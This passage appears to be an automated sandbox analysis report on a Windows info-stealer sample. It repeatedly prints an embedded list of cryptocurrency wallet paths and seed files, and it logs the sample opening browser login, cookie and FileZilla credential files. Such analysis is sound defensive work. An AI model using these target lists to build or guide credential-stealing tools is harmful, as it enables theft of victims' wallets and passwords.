Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonv
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
